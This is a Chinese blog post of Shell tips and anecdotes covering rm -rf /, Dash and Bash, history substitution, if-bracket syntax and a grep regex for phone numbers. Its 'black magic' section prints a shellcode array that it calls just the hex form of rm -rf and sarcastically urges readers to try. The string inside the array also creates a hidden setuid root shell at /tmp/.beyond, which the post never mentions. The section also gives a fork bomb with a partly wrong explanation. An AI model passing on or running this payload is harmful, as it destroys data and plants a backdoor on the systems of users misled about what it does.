Shell - Linux中的生存法则

写在前面

作为本文为那些年我们追过的语言的首篇Shell, 在此申明写文初衷. 本系列并不作为科普文. 文章将以我个人在学习和使用这些语言过程中, 所遇到的有趣的或是需要注意的内容为主, 称其为回忆录也并不为过. 同时, 为方便感兴趣的朋友继续学习, 将列出我使用过的资源以保证质量. 正如之前所言, 本系列:

力求文笔精炼,遵循浪漫现实主义;尽可能多干货,不排除风花雪月人生哲学;接受批评,谢绝灌水。

PS: 本文涉及所有命令, 请仔细阅读解说后自行决定是否尝试, 由此带来的格盘奔溃等问题, 在下实在爱莫能助.

从携程说起

2015年5月28日, 携程服务器全线奔溃, PC端及移动端均出现系统故障. 众说纷纭, 比较有趣的传闻是内部人员出现命令行操作失误, 将rm -rf /a/b/c敲成rm -rf / a/b/c. 真相无从得知, 也无故深究, 我们单单从这行命令说起, 引出今天的主题Shell.

如果你使用Linux, 相信对rm命令并不陌生. rm表示删除, -r代表文件夹, -f代表强制. 所以, 原始的命令rm -rf /a/b/c代表强制删除目录在/a/b/c下的所有文件. 再来一起看误操作命令rm -rf / a/b/c, 由于第一个/后空格, 系统将执行命令rm -rf /, /表示系统根目录, 由此悲剧上演. 当然, 这需要root权限, 普通用户必须使用sudo才能执行该类操作.

Linux Shell

上述的rm -rf /a/b/c便是一条交互式Shell语句, 用于用户与系统交流. 简单来说, 用户在Linux终端键入Shell命令 (交互式), 或运行Shell脚本 (批量式), 系统就会执行它们, 前提是Shell书写正确且你具有足够权限. Bash (GNU Bourne-Again Shell) 是许多Linux平台的内定Shell, 事实上, 还有许多传统UNIX上用的Shell, 像tcsh、csh、ash、bsh、ksh等等. 如今Debian和Ubuntu中, /bin/sh默认指向Dash, 相比于Bash, 它速度更快, 但功能更少. 手动将终端链接至Bash的命令是: ln -s /bin/bash /bin/sh. 想要进一步了解Shell基础概念及常用命令, 请访问以下资源:

黑魔法

1. rm -rf变种

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

还记得本文开篇的rm -rf命令么? 上面这段代码便是它的十六进制形式. 不信就试试, 重走携程路.

2. fork炸弹

:(){:|:&};:

简单来说, 这是名为:的递归函数的定义和执行. 函数定义的主体{:|:&}中, |表示同时执行, :|表示后台执行. 全段最后的:为调用该函数的语句. 此时, 系统同时运行两个:函数, 一个前台, 一个后台. 无限递归, 直到世界尽头. 对此我只能说: 重启试试.

3. foobar

root@Kali:~# ipconfig
bash: ipconfig: 未找到命令
root@Kali:~# ^ip^if
ifconfig

^foo^bar是替换命令, 用于将当前终端上次输入的命令中的foo替换为bar. 上面的代码是将错误的ipconfig通过^ip^if替换为ifconfig. 当命令很长时, 该替换技巧非常方便. 关于foo和bar的含义, 可以查看计算机冷知识Foobar.

4. if语句

if [ condition ]; then
...
fi

常见的条件语句if, 对于理解Shell却大有裨益. 新手对于该语法最易犯的错误是[]两侧不加空格, 换言之, 将[ condition ]看作一个整体. 这就涉及到对Shell这种解释性语言的执行方式的理解. 实际上, [], 都与if一样, 都是单独的命令, 而命令之间必须使用空格隔开. 当系统读入[时, 它将接下来的参数理解为用户提出的condition; 当读入]时, 它才明白在前一刻condition终结. 同理, 使用Shell处理其他语句时, 也应时刻以解析器的角度去思考如何执行命令.

5. grep命令

grep全称为globally search a regular expression and print, 是一种功能强大的全局正则表达式搜索命令, 多用于管道符|之后. 关于正则的强大之处, 可以举个简单的例子. Leetcode的Shell题库中有一道Valid Phone Numbers, 题意为筛选出符合(xxx) xxx-xxxx or xxx-xxx-xxxx. (x means a digit)格式的号码输出.

直接模拟的Bash代码如下:

#!/bin/bash

m=0
while read line; do
  len=${#line}
  flag=1
  if [ $len -eq 12 ];then
    if [[ ${line:3:1} != "-" || ${line:7:1} != "-" ]];then
      flag=0
    fi
    for ((i=0; i!=len; i++));do
      if [[ $i -eq 3 || $i -eq 7 ]];then
        continue
      fi
      ch=${line:$i:1}
      if [[ $ch < "0" || $ch > "9" ]];then
        flag=0
        break
      fi
    done
  elif [ $len -eq 14 ];then
    if [[ ${line:0:1} != "(" || ${line:4:1} != ")" || ${line:5:1} != " " || ${line:9:1} != "-" ]];then
      flag=0
    fi
    for ((i=0; i!=len; i++));do
      if [[ $i -eq 0 || $i -eq 4 || $i -eq 5 || $i -eq 9 ]];then
        continue
      fi
      ch=${line:$i:1}
      if [[ $ch < "0" || $ch > "9" ]];then
        flag=0
        break
      fi
    done
  else
    flag=0
  fi
  if [ $flag -eq 1 ];then
    echo $line
  fi
  ((m++))
done < file.txt

grep正则方式如下:

cat file.txt | grep -Eo '^([0-9]{3}-){2}[0-9]{4}$|^(\([0-9]{3}\) )[0-9]{3}-[0-9]{4}$'

正则王道. 进一步学习和使用grep和正则表达式, 可参考以下资源:

结束语

我们追过的语言之Shell篇 , 至此告一段落. 遗憾的是, Linux中太多光怪陆离, 时至今日, 记忆模糊, 无从下笔. 至于本文所提及的内容, 如有错误欢迎指正. 当然, 更期待能与诸位的奇妙思想碰撞火花.

Shell
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,657评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,662评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,143评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,732评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,837评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,036评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,126评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,868评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,315评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,641评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,773评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,470评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,126评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,859评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,095评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,584评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,676评论 2 351

推荐阅读更多精彩内容